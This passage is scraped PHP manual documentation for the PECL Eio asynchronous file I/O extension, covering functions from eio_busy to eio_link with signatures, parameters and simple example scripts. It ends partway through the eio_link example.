  • eio_readdir — Reads through a whole directory
  • eio_readlink — Read value of a symbolic link.
  • eio_realpath — Get the canonicalized absolute pathname.
  • eio_rename — Change the name or location of a file.
  • eio_rmdir — Remove a directory
  • eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence
  • eio_sendfile — Transfer data between file descriptors
  • eio_set_max_idle — Set maximum number of idle threads.
  • eio_set_max_parallel — Set maximum parallel threads
  • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.
  • eio_set_max_poll_time — Set maximum poll time
  • eio_set_min_parallel — Set minimum parallel thread number
  • eio_stat — Get file status
  • eio_statvfs — Get file system statistics
  • eio_symlink — Create a symbolic link
  • eio_sync_file_range — Sync a file segment with disk
  • eio_sync — Commit buffer cache to disk
  • eio_syncfs — Calls Linux' syncfs syscall, if available
  • eio_truncate — Truncate a file
  • eio_unlink — Delete a name and possibly the file it refers to
  • eio_utime — Change file last access and modification times.
  • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.


Artificially increase load. Could be useful in tests, benchmarking.

  • « Eio Functions
  • eio_cancel »
  • PHP Manual
  • Eio Functions
  • Artificially increase load. Could be useful in tests, benchmarking.

eio_busy

(PECL eio >= 0.0.1dev)

eio_busy — Artificially increase load. Could be useful in tests, benchmarking.

Description

resource eio_busy ( int $delay [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_busy() artificially increases load taking delay seconds to execute. May be used for debugging, or benchmarking.

Parameters

delay

Delay in seconds

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

This callback is called when all the group requests are done.

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

See Also

  • eio_nop

User Contributed Notes

There are no user contributed notes for this page.


Cancels a request

  • « eio_busy
  • eio_chmod »
  • PHP Manual
  • Eio Functions
  • Cancels a request

eio_cancel

(PECL eio >= 0.0.1dev)

eio_cancel — Cancels a request

Description

void eio_cancel ( resource $req )

eio_cancel() cancels a request specified by req

Parameters

req

The request resource

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

No value is returned.

Examples

Example #1 eio_cancel() example

<?php
 /* Is called when eio_nop() finished */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
my_nop 2

See Also

  • eio_grp_cancel

User Contributed Notes

There are no user contributed notes for this page.


Change file/direcrory permissions.

  • « eio_cancel
  • eio_chown »
  • PHP Manual
  • Eio Functions
  • Change file/direcrory permissions.

eio_chmod

(PECL eio >= 0.0.1dev)

eio_chmod — Change file/direcrory permissions.

Description

resource eio_chmod ( string $path , int $mode [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_chmod() changes file, or direcrory permissions. The new permissions are specified by mode.

Parameters

path

Path to the target file or directory

Warning

Avoid relative paths

mode

The new permissions. E.g. 0644.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_chmod() returns request resource on success or FALSE on error.

See Also

  • eio_chown

User Contributed Notes

There are no user contributed notes for this page.


Change file/direcrory permissions.

  • « eio_chmod
  • eio_close »
  • PHP Manual
  • Eio Functions
  • Change file/direcrory permissions.

eio_chown

(PECL eio >= 0.0.1dev)

eio_chown — Change file/direcrory permissions.

Description

resource eio_chown ( string $path , int $uid [, int $gid = -1 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]]] )

Changes file, or directory permissions.

Parameters

path

Path to file or directory.

Warning

Avoid relative paths

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_chown() returns request resource on success or FALSE on error.

See Also

  • eio_chmod

User Contributed Notes

There are no user contributed notes for this page.


Close file

  • « eio_chown
  • eio_custom »
  • PHP Manual
  • Eio Functions
  • Close file

eio_close

(PECL eio >= 0.0.1dev)

eio_close — Close file

Description

resource eio_close ( mixed $fd [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_close() closes file specified by fd.

Parameters

fd

Stream, Socket resource, or numeric file descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_close() returns request resource on success or FALSE on error.

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.


Execute custom request like any other eio_* call.

  • « eio_close
  • eio_dup2 »
  • PHP Manual
  • Eio Functions
  • Execute custom request like any other eio_* call.

eio_custom

(PECL eio >= 0.0.1dev)

eio_custom — Execute custom request like any other eio_* call.

Description

resource eio_custom ( callable $execute , int $pri , callable $callback [, mixed $data = NULL ] )

eio_custom() executes custom function specified by execute processing it just like any other eio_* call.

Parameters

execute

Specifies the request function that should match the following prototype:

      mixed execute(mixed data);
callback is event completion callback that should match the following prototype:
      void callback(mixed data, mixed result);
data is the data passed to execute via data argument without modifications result value returned by execute

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_custom() returns request resource on success or FALSE on error.

Examples

Example #1 eio_custom() example

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

User Contributed Notes

There are no user contributed notes for this page.


Duplicate a file descriptor

  • « eio_custom
  • eio_event_loop »
  • PHP Manual
  • Eio Functions
  • Duplicate a file descriptor

eio_dup2

(PECL eio >= 0.0.1dev)

eio_dup2 — Duplicate a file descriptor

Description

resource eio_dup2 ( mixed $fd , mixed $fd2 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_dup2() duplicates file descriptor.

Parameters

fd

Source stream, Socket resource, or numeric file descriptor

fd2

Target stream, Socket resource, or numeric file descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_dup2() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Polls libeio until all requests proceeded

  • « eio_dup2
  • eio_fallocate »
  • PHP Manual
  • Eio Functions
  • Polls libeio until all requests proceeded

eio_event_loop

(PECL eio >= 0.0.1dev)

eio_event_loop — Polls libeio until all requests proceeded

Description

bool eio_event_loop ( void )

eio_event_loop() polls libeio until all requests proceeded.

Parameters

This function has no parameters.

Return Values

eio_event_loop() returns TRUE on success or FALSE on error.

Examples

Example #1 eio_event_loop() example

<?php
$temp_filename = "eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

The above example will output something similar to:

eio_chmod_ok

See Also

  • eio_poll

User Contributed Notes

There are no user contributed notes for this page.


Allows the caller to directly manipulate the allocated disk space for a file

  • « eio_event_loop
  • eio_fchmod »
  • PHP Manual
  • Eio Functions
  • Allows the caller to directly manipulate the allocated disk space for a file

eio_fallocate

(PECL eio >= 0.0.1dev)

eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file

Description

resource eio_fallocate ( mixed $fd , int $mode , int $offset , int $length [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_fallocate() allows the caller to directly manipulate the allocated disk space for the file specified by fd file descriptor for the byte range starting at offset and continuing for length bytes.

Note: File should be opened for writing

EIO_O_CREAT should be logically OR'd with EIO_O_WRONLY, or EIO_O_RDWR

Parameters

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

mode

Currently only one flag is supported for mode: EIO_FALLOC_FL_KEEP_SIZE (the same as POSIX constant FALLOC_FL_KEEP_SIZE).

offset

Specifies start of the byte range.

length

Specifies length the byte range.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_fallocate() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Change file permissions.

  • « eio_fallocate
  • eio_fchown »
  • PHP Manual
  • Eio Functions
  • Change file permissions.

eio_fchmod

(PECL eio >= 0.0.1dev)

eio_fchmod — Change file permissions.

Description

resource eio_fchmod ( mixed $fd , int $mode [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_fchmod() changes permissions for the file specified by fd file descriptor.

Parameters

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

mode

The new permissions. E.g. 0644.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_fchmod() returns request resource on success or FALSE on error.

See Also

  • eio_fchown

User Contributed Notes

There are no user contributed notes for this page.


Change file ownership

  • « eio_fchmod
  • eio_fdatasync »
  • PHP Manual
  • Eio Functions
  • Change file ownership

eio_fchown

(PECL eio >= 0.0.1dev)

eio_fchown — Change file ownership

Description

resource eio_fchown ( mixed $fd , int $uid [, int $gid = -1 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]]] )

eio_fchown() changes ownership of the file specified by fd file descriptor.

Parameters

fd

Stream, Socket resource, or numeric file descriptor.

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

See Also

  • eio_fchmod

User Contributed Notes

There are no user contributed notes for this page.


Synchronize a file's in-core state with storage device.

  • « eio_fchown
  • eio_fstat »
  • PHP Manual
  • Eio Functions
  • Synchronize a file's in-core state with storage device.

eio_fdatasync

(PECL eio >= 0.0.1dev)

eio_fdatasync — Synchronize a file's in-core state with storage device.

Description

resource eio_fdatasync ( mixed $fd [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_fdatasync() synchronizes a file's in-core state with storage device.

Parameters

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_fdatasync() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • « eio_fdatasync
  • eio_fstatvfs »
  • PHP Manual
  • Eio Functions
  • Get file status

eio_fstat

(PECL eio >= 0.0.1dev)

eio_fstat — Get file status

Description

resource eio_fstat ( mixed $fd , int $pri , callable $callback [, mixed $data ] )

eio_fstat() returns file status information in result argument of callback

Parameters

fd

Stream, Socket resource, or numeric file descriptor.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

Examples

Example #1 eio_lstat() example

<?php
// Create temporary file
$tmp_filename = dirname(__FILE__) ."/eio-file.tmp";
touch($tmp_filename);

/* Is called when eio_fstat() done */
function my_res_cb($data, $result) {
 // Should output array with stat info
 var_dump($result);

 if ($data['fd']) {
  // Close temporary file
  eio_close($data['fd']);
  eio_event_loop();
 }
 // Remove temporary file
 @unlink($data['file']);
}

/* Is called when eio_open() done */
function my_open_cb($data, $result) {
 // Prepare data for callback
 $d = array(
  'fd'  => $result,
  'file'=> $data
 );
 // Request stat info
 eio_fstat($result, EIO_PRI_DEFAULT, "my_res_cb", $d);
 // Process request(s)
 eio_event_loop();
}

// Open temporary file
eio_open($tmp_filename, EIO_O_RDONLY, NULL, EIO_PRI_DEFAULT,
  "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489159)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318239506)
  ["st_mtime"]=>
  int(1318239506)
  ["st_ctime"]=>
  int(1318239506)
}

See Also

  • eio_lstat
  • eio_stat

User Contributed Notes

There are no user contributed notes for this page.


Get file system statistics

  • « eio_fstat
  • eio_fsync »
  • PHP Manual
  • Eio Functions
  • Get file system statistics

eio_fstatvfs

(PECL eio >= 0.0.1dev)

eio_fstatvfs — Get file system statistics

Description

resource eio_fstatvfs ( mixed $fd , int $pri , callable $callback [, mixed $data ] )

eio_fstatvfs() returns file system statistics in result of callback.

Parameters

fd

A file descriptor of a file within the mounted file system.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_fstatvfs() returns request resource on success or FALSE on error.

See Also

  • eio_statvfs

User Contributed Notes

There are no user contributed notes for this page.


Synchronize a file's in-core state with storage device

  • « eio_fstatvfs
  • eio_ftruncate »
  • PHP Manual
  • Eio Functions
  • Synchronize a file's in-core state with storage device

eio_fsync

(PECL eio >= 0.0.1dev)

eio_fsync — Synchronize a file's in-core state with storage device

Description

resource eio_fsync ( mixed $fd [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

Synchronize a file's in-core state with storage device

Parameters

fd

Stream, Socket resource, or numeric file descriptor.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_fsync() returns request resource on success or FALSE on error.

See Also

  • eio_sync

User Contributed Notes

There are no user contributed notes for this page.


Truncate a file

  • « eio_fsync
  • eio_futime »
  • PHP Manual
  • Eio Functions
  • Truncate a file

eio_ftruncate

(PECL eio >= 0.0.1dev)

eio_ftruncate — Truncate a file

Description

resource eio_ftruncate ( mixed $fd [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]]] )

eio_ftruncate() causes a regular file referenced by fd file descriptor to be truncated to precisely length bytes.

Parameters

fd

Stream, Socket resource, or numeric file descriptor.

offset

Offset from beginning of the file

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_ftruncate() returns request resource on success or FALSE on error.

See Also

  • eio_truncate

User Contributed Notes

There are no user contributed notes for this page.


Change file last access and modification times

  • « eio_ftruncate
  • eio_get_event_stream »
  • PHP Manual
  • Eio Functions
  • Change file last access and modification times

eio_futime

(PECL eio >= 0.0.1dev)

eio_futime — Change file last access and modification times

Description

resource eio_futime ( mixed $fd , float $atime , float $mtime [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_futime() changes file last access and modification times.

Parameters

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open()

atime

Access time

mtime

Modification time

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_futime() returns request resource on success or FALSE on error.

See Also

  • eio_utime

User Contributed Notes

There are no user contributed notes for this page.


Get stream representing a variable used in internal communications with libeio.

  • « eio_futime
  • eio_get_last_error »
  • PHP Manual
  • Eio Functions
  • Get stream representing a variable used in internal communications with libeio.

eio_get_event_stream

(PECL eio >= 0.3.1b)

eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.

Description

mixed eio_get_event_stream ( void )

eio_get_event_stream() acquires stream representing a variable used in internal communications with libeio. Could be used to bind with some event loop provided by other PECL extension, for example libevent.

Parameters

This function has no parameters.

Return Values

eio_get_event_stream() returns stream on success; otherwise, NULL

Examples

Example #1 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

The above example will output something similar to:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.


Returns string describing the last error associated with a request resource

  • « eio_get_event_stream
  • eio_grp_add »
  • PHP Manual
  • Eio Functions
  • Returns string describing the last error associated with a request resource

eio_get_last_error

(PECL eio >= 1.0.0)

eio_get_last_error — Returns string describing the last error associated with a request resource

Description

string eio_get_last_error ( resource $req )

eio_get_last_error() returns string describing the last error associated with req.

Parameters

req

The request resource

Return Values

eio_get_last_error() returns string describing the last error associated with the request resource specified by req.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Adds a request to the request group.

  • « eio_get_last_error
  • eio_grp_cancel »
  • PHP Manual
  • Eio Functions
  • Adds a request to the request group.

eio_grp_add

(PECL eio >= 0.0.1dev)

eio_grp_add — Adds a request to the request group.

Description

void eio_grp_add ( resource $grp , resource $req )

eio_grp_add() adds a request to the request group.

Parameters

grp

The request group resource returned by eio_grp()

req

The request resource

Return Values

eio_grp_add() doesn't return a value.

Examples

Example #1 Grouping requests

<?php
/*
 * Create a group request to open, read and close a file
 */

// Create temporary file and write some bytes to it
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 var_dump($result == 0);
 @unlink($data);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
 global $grp;

 // $result should contain the file descriptor
 var_dump($result > 0);

 // Create eio_read() request and add it to the group
 // Pass file descriptor to the callback
 $req = eio_read($result, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback", $result);
 eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
 global $grp;

 // Read bytes
 var_dump($result);

 // Create eio_close() request and add it to the group
 // $data should contain the file descriptor
 $req = eio_close($data);
 eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);
var_dump($grp);

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

See Also

  • eio_grp
  • eio_grp_cancel
  • eio_grp_limit

User Contributed Notes

There are no user contributed notes for this page.


Cancels a request group

  • « eio_grp_add
  • eio_grp_limit »
  • PHP Manual
  • Eio Functions
  • Cancels a request group

eio_grp_cancel

(PECL eio >= 0.0.1dev)

eio_grp_cancel — Cancels a request group

Description

void eio_grp_cancel ( resource $grp )

eio_grp_cancel() cancels a group request specified by grp request group resource.

Parameters

grp

The request group resource returned by eio_grp().

Return Values

No value is returned.

See Also

  • eio_grp
  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.


Set group limit

  • « eio_grp_cancel
  • eio_grp »
  • PHP Manual
  • Eio Functions
  • Set group limit

eio_grp_limit

(PECL eio >= 0.0.1dev)

eio_grp_limit — Set group limit

Description

void eio_grp_limit ( resource $grp , int $limit )

Limit number of requests in the request group.

Parameters

grp

The request group resource.

limit

Number of requests in the group.

Return Values

No value is returned.

See Also

  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.


Createsa request group.

  • « eio_grp_limit
  • eio_init »
  • PHP Manual
  • Eio Functions
  • Createsa request group.

eio_grp

(PECL eio >= 0.0.1dev)

eio_grp — Createsa request group.

Description

resource eio_grp ( callable $callback [, string $data = NULL ] )

eio_grp() creates a request group.

Parameters

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_grp() returns request group resource on success or FALSE on error.

Examples

Example #1 eio_grp() example

<?php
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);
$my_file_fd = NULL;

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 // Remove the file, if it still exists
 @unlink($data);
}

/* Is called when the temporary file is opened */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 $req = eio_read($my_file_fd, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* Is called when the file is read */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // Create request to close the file
 $req = eio_close($my_file_fd);

 // Add request to the group
 eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);

// Create request
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);

// Add request to the group
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

string(4) "some"

See Also

  • eio_grp_cancel
  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.


(Re-)initialize Eio

  • « eio_grp
  • eio_link »
  • PHP Manual
  • Eio Functions
  • (Re-)initialize Eio

eio_init

(PECL eio = 1.0.0)

eio_init — (Re-)initialize Eio

Description

void eio_init ( void )

eio_init() (re-)initializes Eio. It allocates memory for internal structures of libeio and Eio itself. You may call eio_init() before using Eio functions. Otherwise it will be called internally first time you invoke an Eio function in a process.

Warning

This deprecated feature will certainly be removed in the future. Since Eio 1.1.0 eio_init() is deprecated. In Eio 1.0.0 because of » libeio's restrictions you must call eio_init() in child process, if you fork one by any means. You have to avoid using Eio in parent process, if you use it in childs.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Create a hardlink for file

  • « eio_init
  • eio_lstat »
  • PHP Manual
  • Eio Functions
  • Create a hardlink for file

eio_link

(PECL eio >= 0.0.1dev)

eio_link — Create a hardlink for file

Description

resource eio_link ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_link() creates a hardlink new_path for a file specified by path.

Parameters

path

Source file path.

new_path

Target file path.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

Examples

Example #1 eio_link() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
